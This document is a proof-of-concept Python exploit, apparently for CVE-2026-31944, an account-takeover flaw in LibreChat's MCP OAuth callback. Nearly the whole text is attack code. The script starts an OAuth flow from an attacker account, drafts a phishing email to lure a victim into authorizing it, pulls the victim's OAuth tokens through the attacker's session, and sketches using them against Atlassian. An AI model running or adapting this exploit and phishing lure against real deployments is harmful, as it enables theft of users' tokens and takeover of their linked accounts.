CVE-2026-31944 LibreChat MCP OAuth回调账户接管漏洞

# CVE-2026-31944 LibreChat OAuth Account Takeover PoC # Attack Scenario: Attacker steals victim's OAuth tokens via MCP callback import requests import secrets TARGET_LIBRECHAT = "http://target-librechat:3080" ATTACKER_LIBRECHAT = "http://attacker-librechat:3080" def get_authorization_url(provider="atlassian"): """Attacker initiates OAuth flow and gets authorization URL""" # Attacker logs in to their LibreChat account attacker_session = requests.Session() # attacker_session.post(f"{ATTACKER_LIBRECHAT}/api/auth/login", json={...}) # Initiate MCP OAuth flow response = attacker_session.post( f"{ATTACKER_LIBRECHAT}/api/mcp/oauth/initiate", json={"provider": provider} ) data = response.json() authorization_url = data.get("authorizationUrl") state = data.get("state") print(f"[+] Authorization URL: {authorization_url}") print(f"[+] State parameter: {state}") return authorization_url, state def send_phishing_link(authorization_url, victim_email): """Send authorization URL to victim via email/social engineering""" phishing_content = f""" Please complete your OAuth authorization: {authorization_url} Click the link above to verify your account. """ # Send phishing email to victim print(f"[+] Phishing link sent to victim: {victim_email}") return True def main(): # Step 1: Attacker initiates OAuth flow auth_url, state = get_authorization_url("atlassian") # Step 2: Send phishing link to victim send_phishing_link(auth_url, "[email protected]") # Step 3: Victim completes OAuth flow (victim must be logged into LibreChat) # When victim clicks the link and authenticates with Atlassian, # the OAuth tokens are stored BUT linked to attacker's MCP config # Step 4: Attacker now has access to victim's OAuth tokens attacker_session = requests.Session() # attacker_session.post(f"{ATTACKER_LIBRECHAT}/api/auth/login", json={...}) # Access victim's tokens via attacker's account response = attacker_session.get( f"{ATTACKER_LIBRECHAT}/api/mcp/tokens", params={"provider": "atlassian", "state": state} ) victim_tokens = response.json() print(f"[+] Victim's OAuth tokens obtained: {victim_tokens}") # Step 5: Use victim's tokens to access Atlassian/Outlook # attacker_session.headers["Authorization"] = f"Bearer {victim_tokens['access_token']}" # response = attacker_session.get("https://api.atlassian.com/oauth/token/accessible-resources") print("[+] Account takeover complete!") if __name__ == "__main__": main()